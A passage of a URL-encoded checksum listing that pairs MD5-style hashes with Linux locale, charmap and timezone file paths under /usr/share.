8e970f16cfc489fad8ebc938a2d3259%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJUS_I.B1.003-MAC.gz%0A21e9fc398b3503af125d7f5000bef312%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FJUS_I.B1.003-SERB.gz%0Aabfef0db8c2e3ccca4115eb223930dce%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FKOI-8.gz%0A854445b23a40a864b79f3a3e8a31cf04%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FKOI8-R.gz%0A0ac82138de6857b1b3347baf8a571ab9%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FKOI8-T.gz%0Ada3d77c00d7c6868e68dd11d37922a36%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FKOI8-U.gz%0A42de3e90dd2a480e106bcfeb0b4bfe9f%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FKSC5636.gz%0Affca7a605dbf84b1f82b5bec5b5ba338%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FLATIN-GREEK-1.gz%0A4a1b13f51c44b9c1e09ed6cb1fa68908%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FLATIN-GREEK.gz%0A36392231dc7f478d7bc183e253e1ba4e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FMAC-CYRILLIC.gz%0A2419d6bbf2aba0e848195ca2b4e8a681%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FMAC-IS.gz%0A44708c9d34ebae14487ab5e2f6c63eea%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FMAC-SAMI.gz%0A93b34ce1d73cb6792e89607b667744d2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FMAC-UK.gz%0A8cb4e4adc4c67b487eb13db3357e0f45%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FMACINTOSH.gz%0A02559641f7665d4a31720c09fc6ab805%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FMSZ_7795.3.gz%0A70a6f2e0e3edb24140e3149568a7fe70%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNATS-DANO-ADD.gz%0Ab2ff9c2f85771b8e1d904555ad308e63%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNATS-DANO.gz%0Aba3fd9fc8a48316dee8c2c44832bc169%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNATS-SEFI-ADD.gz%0Aa477d8d9a81f64af516e5482b12ea078%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNATS-SEFI.gz%0A11ef6dca18fec0709b6f5460720daec9%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNC_NC00-10.gz%0A95ff12654a5729f18e9174213feddace%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNEXTSTEP.gz%0A8c71bf29eba73514567ea5282c1eb9f8%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNF_Z_62-010.gz%0A16b9aef9c7418ebad4e461bb197c6776%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNF_Z_62-010_1973.gz%0A4309f80b7c535943ca2d65e6377ef8f3%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNS_4551-1.gz%0A5c0ba8d487c1ca6ccf9ba5782abc7f0d%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FNS_4551-2.gz%0A4a43ba222b7e511f3fdd1f6912726db5%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FPT2.gz%0A065b79dda74353d9d1846eb8d323697a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FSEN_850200_B.gz%0A56e8c0012afacb5024f719395d521ba7%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FSAMI.gz%0A30cf91e23dacf40c421a05ad59de00d6%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FVIDEOTEX-SUPPL.gz%0Afaaf45e2b416a5629c21c78b35332b5c%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FSEN_850200_C.gz%0A3d684f6646e8c99b0e349838cbaf06f8%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FSHIFT_JIS.gz%0Abdcea59b416c26ed648c22d42ee2c892%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FT.101-G2.gz%0Af8fe2f6fbfa0489683a9bf6f492b3f00%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FT.61-7BIT.gz%0Aa5550a67b5a3e94ccb96b479a11b189a%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FT.61-8BIT.gz%0Af52554e754156577b32f2ea0863a1c7e%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FTIS-620.gz%0A61e87c8b77793acc9e7967fc401f66a2%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FUTF-8.gz%0Ab47e6853ff0b4f06aaafa248814be383%20%20%2Fusr%2Fshare%2Fi18n%2Fcharmaps%2FVISCII.gz%0A955c07ee54fe75e36a5899c0a6c17b01%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fca_ES%40euro%0A75a57c202a85a70e526df48b76020fe9%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2FPOSIX%0A457ee847dd7a116f2f32dc42c4d2e618%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Faf_ZA%0Aec686612bbb9a4ed799267dd22f7987a%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fam_ET%0Afec3397642d45c5208fa70d956172626%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_AE%0A681e05e86a0a07842547d855f934d829%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_BH%0Abec775783856166f021ba99784a3e45d%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_DZ%0A7843c84c076edc1b40aa299742e2db62%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_EG%0A36ca1f53ee3459dc8b7625147d6dc9c1%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_IN%0A7f1418fb9cb8fca35dc39f4956e2c542%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_IQ%0A3de70d3d4e2734885cc037b931dc20df%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_JO%0A5675e747cde2c3b5fcb9fb137b93e57b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_KW%0Af2f4c3c8d936c6b81665f32b7855466c%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_LB%0Aed14bac539f84e457679acd2d30f946f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_LY%0Ab8a696a52bae6257fa9568f184ed08d0%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_MA%0Acfb021ac947cc63c38cfad98030b4511%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_OM%0A4c453c63b94b75dcef3afb394b7e09d9%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_QA%0A4a6ccc5c573e36016f9606ca2ec998e2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_SA%0A2a7784e4d6806ef14cafbb20f5e90f5b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_SD%0A1c6f4fdfcf1646d19d929c5b888cdc74%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_SY%0A5bf7bc4fec4bb6cca16fdcfb333e7fa7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_TN%0A8876594529e9dad27cde50df1314b638%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Far_YE%0A4950332376ac7f49bde921607bf8b3b5%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Faz_AZ%0A5e622fc74875aaf98e8ac14bb455a2f5%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fbe_BY%0A1a64bebb6b4a748bb625317b160a7f65%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fbg_BG%0A0d0f6402010da4cb1bde6088e0a3163e%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fbn_IN%0Ab63f6f82e10c7fe27e2f4f248710ea76%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fbr_FR%0A70c92650a64296d270824bd348377cc2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fbs_BA%0A10abf5c84166261cbf5e8781301eadc4%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fca_ES%0Aa5e030b1fc8b5b880074d9e8ed1e053b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_AT%40euro%0A6dc1d5ffa23e21feadcf81366d972907%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fcs_CZ%0Aa738a1d84e58ced722161a0c63109b21%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fcy_GB%0A999c6345303d86fdcac50bfeedd486d7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fda_DK%0A566169523b25983d5569cf69c2541927%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_AT%0A09f7eb7cbd27524a26ba085ebefcb6f0%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_BE%40euro%0Af64a5013c0e550bf33e813bd61db576a%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_BE%0Afb4e9716720eff400d3a45994dca890f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_DE%40euro%0A3323553d9ee502b0e63a723623266432%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_CH%0Af91bb67bf14be1ca194b3d19b359679d%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_DE%0A38c52f5bc24131b1c5a54c25019d3df4%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_LU%40euro%0A22fc835a879b1d308f1596fbad1d63bf%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fde_LU%0A5de916250159847ebb1548ce3bba812b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fel_GR%40euro%0Afb275e374bbb19f0ebd78b74276a21ee%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fel_GR%0Ab7577241a8ee829fd065ee4b9f94268b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_IE%40euro%0Ad06cd17d0944af0d8805c89e6d4fde19%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_AU%0Ad43afbe5ba7e63d53d91d43ba81f1186%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_BW%0A9342fe09a131f1132b28e7e5fe14f9de%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_CA%0Aa1207363c4095e0b673bcc1b49e83aa5%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_DK%0Aa0c4f8032f09bbbc642cb72c3fb24b23%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_GB%0Ac339d79ffb50a5a4f5cbc1b0c3440805%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_HK%0A36aca097f91fca4fe5cb3cf65c07d3b7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_IE%0Ae0b294d892ee4ae3818b4fd5c9d2e9b5%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_ES%40euro%0A2fbd7f240fdb5df2ef8930a226c65b4f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_IN%0A155f110e81b60919aafc4c19cca69844%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_NZ%0A26705f63153dc885cd3ed689950b732a%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_PH%0A3c0345df097adb223a8b0a3452525d9b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_SG%0A92e303b805f4764fc4673c6b91dcc727%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_US%0A69ef0afcf4d89a33c9f299dafa3634d4%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_ZA%0A7ad745cfd65235a822a8df609fbde6be%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fen_ZW%0A2b8b723bacd503d19c954c114892c6b7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_AR%0Ac6a229ca597b87d76f4dab984b81269a%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_BO%0A82d08d10a6b495642d29e10881db125e%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_CL%0Ad5c0e6d7a7cf3b78c10d01488e56bac6%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_CO%0A43c977fb2e8c5cf8ebc22e540394c9c5%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_CR%0Ae8e40390b325bda7745c35dcf21ed85b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_DO%0Ac1def851b7ca998398ef050f5f427886%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_EC%0A82f6aae289d5ffe73948fff1857fd369%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_ES%0A425dea94a607159ca347683ad54bd01c%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Feu_ES%40euro%0A2b48ad6a533e2be0e276309e8d850176%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_GT%0A2b93a8311856003ac1a8d99c953384fe%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_HN%0A8c4dac544d27d7e13be46f41a7faffc1%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_MX%0A05a1608d55defa7b3365675fcf877447%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_NI%0A52cf11d5a1177f0559184b2c9809a646%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_PA%0A7676d6ef45b605dc41ca263a0281e104%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_PE%0A8b71100af8e3368b72adb5245ca09ea4%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_PR%0A8b018e757da1484cb871b57232d541b6%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_PY%0Aa127d052ef4296077cf471e74f512ea3%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_SV%0Afd0e34704a9924e5c5fa4d8c036ea2cb%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_US%0A11cf1cc98949dfdd46a809132567708d%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_UY%0A23d39b096e723bc42bacf47f178fcd8f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fes_VE%0A0cacce3d2ea3cdf629199fa9860cdbc7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fet_EE%0A967baad0ac7b8f2802a850bc563157a4%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Feu_ES%0Aa45b30f18b0a6bc558c69f961fdeee0a%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffi_FI%40euro%0A05c9049758607a64decd14cc77e5dd2f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffa_IR%0A15d25d24a22c550a8522a521ce4b5303%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffi_FI%0A37e8cca39c4374a84d932e969c8ea2bb%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_BE%40euro%0A72dce48480391d4511ea5652addb7a7f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffo_FO%0Adbb889edabe5f87d3e8d23f2c18c835e%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_BE%0Aa698352728dc802d46d17913dcb58c97%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_FR%40euro%0A27350ff5edcbad23a3cbaf51e5ce9516%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_CA%0A85cfedbae2635ff3cc6c020e4fedae77%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_CH%0A926c623976ba54ba9727b634a5ab0df0%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_FR%0A451512bb85b32d5df8c61d6f28a20a77%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_LU%40euro%0A7e656b38a598b87f67a361934f07abd2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ffr_LU%0Acadba13c120b49d55da51ed3e62f2aa9%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fga_IE%40euro%0A415f3482d916e1828651d38cf7b88dcd%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fga_IE%0Aba9a22cee1e18923c34e00a63a6d8f8b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fgl_ES%40euro%0A371b5a1fbfe1c2f85702e73cc422144f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fgd_GB%0A2ee1e9835f1b56d5dbdc1d29e4b83c78%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fgl_ES%0A6ed77a9d22b0fac3ef22a5f640370e59%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fiso14651_t1%0A843a63c023de548c5bd68a6501b6111f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fgv_GB%0A4d922b7c685e1fc1e1a82a442d682750%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fhe_IL%0A50316cb01e3d71ad62ece1d1d3c07dee%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fhi_IN%0A076594c8fca0d8cba6025bc84c632955%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fhr_HR%0A0912f1da54d8f3ec62461f5d21c65901%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fhu_HU%0Afbbbf45334e1e194ab1a97c86021a0de%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fhy_AM%0Ae86cf91a87d5bb57700b64a3722ed960%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fi18n%0Ace85601a76ae2614f8bda0f32dffdc1c%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fid_ID%0Ae3d0a177f9a9560db6030c747681371b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fis_IS%0A623639aebfd8366f120b551b1d5c4115%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fit_IT%40euro%0A3eb074e32f7c47e55b7fc87f4f95ed1f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fit_CH%0A445cf1ef7b50587a1bb98e34844861d6%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fit_IT%0Ab8fe92bcb67bd9ce8881245265bc0921%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fnl_BE%40euro%0Adee0aaa5f8231e8de0ef07b957f54e9e%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fiw_IL%0A670e8aa17ac05f3d87e02b7b30d821dc%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fja_JP%0A91e1303b1a2178d1d65fc1680aeeee73%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fka_GE%0Abe1c55fb66abca09de958efda88a2fd2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fkl_GL%0A865f5d644d53748cc899ab7efa3f43ee%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fko_KR%0A18606681228f2b3657000b540156d26c%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fkw_GB%0Ab167f637994d4e0dc63278afead20e70%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Flt_LT%0Aafc1712af84f72d2ef7df4017d032d0a%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Flv_LV%0A736f907d676339c1491ef9b05fd72d43%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fmi_NZ%0Ae5ea9d27b7a744398b7172d217e0fcf4%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fmk_MK%0Ab84eb46c82ab6b9d62a2488bdcc20424%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fmr_IN%0Ad1eaac030c254e834a01fe70db83fe79%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fms_MY%0A2ae5e91e377119bf82807007dc4a9034%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fmt_MT%0Af5c3f7b9407b830f81f6fa436025cf8b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fnl_BE%0A4e61225cc363669b0ea2d33fcb55ef32%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fnl_NL%40euro%0A5a0f4000107f44ea54894ca13ae1e0f3%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fnl_NL%0A5691788957d5d778d65e73c922d481d0%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fpt_PT%40euro%0Ae0c8f075f207f0eeae0126a828e7b002%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fnn_NO%0Aa86ea555ce5e065b89078a57d1b589dc%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fno_NO%0Ae08b57d42540a5f6b9583cf0b307e16d%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Foc_FR%0A61db41e87b2be70fca31faf1cdae2507%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fpl_PL%0A00018d0456c949f1e4e6039667a3ce18%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fpt_BR%0A37acc4f6484952479f0eb3572f28a6a7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fpt_PT%0Afb7d627a12ee2f0cbfd99ebaf8ceeadb%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsr_YU%40cyrillic%0A7f22da8067aae183e4b9f8f2c4c50bb0%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fro_RO%0A87030de9292c9b3f11d4947e3ae39389%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fru_RU%0Ab12d40e940af0a7475981a88a7c2efe8%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fru_UA%0Ab90424a5fa153de8b87d0ea50ddf4b88%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsk_SK%0Afcc825d97cd9c9c28cc9dcdb9b1765c7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsl_SI%0A62791e8307a9d3752a84e57af6e6a8e2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsq_AL%0Acb74d9ee348533ef6bbae6c4d083a4af%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsr_YU%0A3bbf9a4b501088ecc575ae72df849afc%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsv_FI%40euro%0A4ef891cdce4c0a55cfcda7e6af47a1e2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsv_FI%0Ab80eae28bcceaa2cb0e0833b3f8a8ffc%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_circle%0A5a701d70fe35593d72189710b5d60976%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fsv_SE%0A20dfa47f8fcc69a25b409360e21d1e06%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fta_IN%0Ad2bd445b112ea8e998eea01a10b48b97%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fte_IN%0A9c6e97d831e4c5d0007c953608941699%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftg_TJ%0A7458dfdde63948d01803b295b78413f8%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fth_TH%0Ad3c091b02609fc25d04d0f8be47e516f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fti_ER%0A4605b89d558632b768520d4172c16d10%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fti_ET%0A540b861887bb8097c5f3f392eb5447e2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftl_PH%0A9caae50a0a43718c035abec934bf9239%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftr_TR%0A1974543ca5f2d3ade1381476d43aeb30%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_cjk_variants%0A9ffb65ad31cde2d2cd0404d1a9c3ca12%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_cjk_compat%0Ace05487442a4c295f9643bec6f3cfeb2%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_combining%0Acd6664f33b22cd701215760421bda342%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_compat%0Aa7bf06733aa33711c79b1884ebc1d16b%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_et%0Afc7fb3ceafe970332ada5d311c8a1ff7%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_font%0A2c1e80f58ae24a9239da80dab21cfdea%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_fraction%0Ae51778b0210e1f5bd9538cd108031e98%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_hangul%0Aeaa2e353f38bcde0779dc915b45596cd%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_narrow%0A2ae0285c5d747cc90e5df108051fc382%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_neutral%0A0c32f71c459c82c64007b5944c87d1ab%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_small%0A35ced4ab62f24bc95340203cb202ffb5%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftranslit_wide%0Aec6144a5d6bfdcda3f1df77d10e5352f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Ftt_RU%0A9529827c816ec4840b5dbcb6f0b7a4e9%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fuk_UA%0Aa3116f5e4244b9413244e7efd951f18f%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fur_PK%0Ac93ad13e46e8e08aa6793e3d00d091b8%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fuz_UZ%0A3170f51c87509965b1d39fa1f38e01ae%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fvi_VN%0A7a8d77fff3be3062764f6ef9af5f3aad%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fyi_US%0Ae582e3d3526610821f7151d404b6d9f3%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fzh_CN%0A4ea9552259334d76c66be52ea4c9e9ff%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fzh_HK%0A683fdb012a69950961dd9ff92f67d928%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fzh_SG%0Add1246832f2b6cbc253fa612b172f616%20%20%2Fusr%2Fshare%2Fi18n%2Flocales%2Fzh_TW%0A4e6dcc082ebc836bf554c108cc31714f%20%20%2Fusr%2Fshare%2Flocale%2Fen_GB%2FLC_MESSAGES%2Flibc.mo%0Ac8766bc4c95d7e037e7df0011c81a38b%20%20%2Fusr%2Fshare%2Flocale%2Flocale.alias%0A51b483b5e1fc34682c9b557b2eac3575%20%20%2Fusr%2Fshare%2Flocale%2Fen%2Fman%0A0403adf1e7392db1105eaf433ed3a21c%20%20%2Fusr%2Fshare%2Flocale%2Fen_SE%2FLC_MESSAGES%2FLokkit.mo%0A667eaf22c7998d054df713b0d20a37a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FAddis_Ababa%0A4bb3515a02f5789386360e076bbc80cf%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FAbidjan%0A193348a135d6e073652bd6a976f21058%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FAccra%0A0a96e887c7105299e4e6e7873e9b5e9f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBlantyre%0A436d2e2d33c60b2413cfb0ef0e27ca48%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FAlgiers%0A667eaf22c7998d054df713b0d20a37a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FAsmera%0Ac0b5a299d5de5e5cf2e55f399e8b5f67%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBamako%0A0b4cc560f192b0a3f5fcd0629f751da3%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBangui%0A12ad58b6b4f91b3e0ebaf5421b60312f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBanjul%0A33235e69dbf1a837a0c788e065857a46%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBissau%0Ae65aaf3c82f51a7ba8d68da9ebb3b783%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FDar_es_Salaam%0A3b5556871272606fc69869285d22bbbb%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBrazzaville%0A77cc861e2fc25001a436c70f092e0976%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FBujumbura%0Ab890522db28dce84e42c7fe009ed7788%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FCasablanca%0Ae91dee271de7431c3448dd6a2519572b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FCeuta%0Aacea3944efa196ee332039d609039cb1%20%20%2Fusr%2Fshar